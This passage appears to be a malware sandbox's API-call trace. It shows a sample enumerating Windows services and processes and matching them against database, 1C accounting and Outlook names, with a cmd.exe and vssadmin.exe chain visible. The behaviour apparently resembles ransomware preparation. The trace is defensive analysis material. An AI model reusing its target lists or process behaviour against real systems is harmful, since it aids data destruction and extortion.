	[0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0103.846] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.846] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0103.846] lstrlenW (lpString="Winmgmt") returned 7
	[0103.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0103.847] lstrlenW (lpString="WPDBusEnum") returned 10
	[0103.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0103.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0103.847] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0103.847] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0103.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0103.847] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0103.847] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x220
	[0103.849] Process32FirstW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0103.872] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0103.873] lstrlenW (lpString="System") returned 6
	[0103.873] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0103.873] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0103.873] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0103.873] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0103.873] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0103.873] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0103.873] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0103.873] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0103.874] lstrlenW (lpString="smss.exe") returned 8
	[0103.874] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0103.874] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0103.874] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0103.874] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0103.874] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0103.874] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0103.874] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0103.874] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0103.875] lstrlenW (lpString="csrss.exe") returned 9
	[0103.875] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0103.875] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0103.875] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0103.875] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0103.875] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0103.875] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0103.875] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0103.875] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0103.875] lstrlenW (lpString="wininit.exe") returned 11
	[0103.875] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0103.875] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0103.876] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0103.876] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0103.876] lstrlenW (lpString="csrss.exe") returned 9
	[0103.876] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0103.877] lstrlenW (lpString="winlogon.exe") returned 12
	[0103.877] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0103.878] lstrlenW (lpString="services.exe") returned 12
	[0103.878] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0103.878] lstrlenW (lpString="lsass.exe") returned 9
	[0103.878] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0103.879] lstrlenW (lpString="lsm.exe") returned 7
	[0103.879] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.880] lstrlenW (lpString="svchost.exe") returned 11
	[0103.880] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.880] lstrlenW (lpString="svchost.exe") returned 11
	[0103.880] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.881] lstrlenW (lpString="svchost.exe") returned 11
	[0103.881] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.882] lstrlenW (lpString="svchost.exe") returned 11
	[0103.882] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.883] lstrlenW (lpString="svchost.exe") returned 11
	[0103.883] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0103.883] lstrlenW (lpString="audiodg.exe") returned 11
	[0103.883] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.884] lstrlenW (lpString="svchost.exe") returned 11
	[0103.884] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.885] lstrlenW (lpString="svchost.exe") returned 11
	[0103.885] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0103.886] lstrlenW (lpString="dwm.exe") returned 7
	[0103.886] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0103.886] lstrlenW (lpString="explorer.exe") returned 12
	[0103.886] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0103.887] lstrlenW (lpString="spoolsv.exe") returned 11
	[0103.887] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0103.888] lstrlenW (lpString="taskhost.exe") returned 12
	[0103.888] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.888] lstrlenW (lpString="svchost.exe") returned 11
	[0103.888] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0103.889] lstrlenW (lpString="taskeng.exe") returned 11
	[0103.889] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0103.890] lstrlenW (lpString="taskhost.exe") returned 12
	[0103.890] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0103.890] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0103.890] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0103.891] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0103.891] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0103.892] lstrlenW (lpString="zoo.exe") returned 7
	[0103.892] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0103.892] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0103.892] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0103.893] lstrlenW (lpString="determined.exe") returned 14
	[0103.893] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0103.894] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0103.894] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0103.894] lstrlenW (lpString="hansen mails.exe") returned 16
	[0103.894] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0103.895] lstrlenW (lpString="choirsas.exe") returned 12
	[0103.895] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0103.896] lstrlenW (lpString="skirt_races.exe") returned 15
	[0103.896] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0103.897] lstrlenW (lpString="actors_radius.exe") returned 17
	[0103.897] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0103.898] lstrlenW (lpString="scheduling.exe") returned 14
	[0103.898] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0103.899] lstrlenW (lpString="michael.exe") returned 11
	[0103.899] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0103.899] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0103.900] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0103.900] lstrlenW (lpString="pleasure.exe") returned 12
	[0103.900] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0103.901] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0103.901] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0103.902] lstrlenW (lpString="electron.exe") returned 12
	[0103.902] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0103.902] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0103.902] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0103.903] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0103.903] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0103.904] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0103.904] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0103.904] lstrlenW (lpString="pointer.exe") returned 11
	[0103.904] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0103.905] lstrlenW (lpString="gd logos.exe") returned 12
	[0103.905] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0103.906] lstrlenW (lpString="algebra validity.exe") returned 20
	[0103.906] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0103.906] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0103.906] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0103.907] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0103.907] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0103.908] lstrlenW (lpString="p.exe") returned 5
	[0103.908] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0103.908] lstrlenW (lpString="cmd.exe") returned 7
	[0103.908] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0103.909] lstrlenW (lpString="conhost.exe") returned 11
	[0103.909] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0103.910] lstrlenW (lpString="vssadmin.exe") returned 12
	[0103.910] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0103.910] lstrlenW (lpString="VSSVC.exe") returned 9
	[0103.910] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0103.911] lstrlenW (lpString="svchost.exe") returned 11
	[0103.911] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0103.912] CloseHandle (hObject=0x220) returned 1
	[0103.912] Sleep (dwMilliseconds=0x1f4) 
	[0104.427] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0b00
	[0104.427] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0104.427] GetLastError () returned 0xea
	[0104.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12c6) returned 0x36ba4f0
	[0104.427] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x12c6, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0104.428] CloseServiceHandle (hSCObject=0x35d0b00) returned 1
	[0104.428] lstrlenW (lpString="Appinfo") returned 7
	[0104.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0104.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0104.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0104.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0104.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
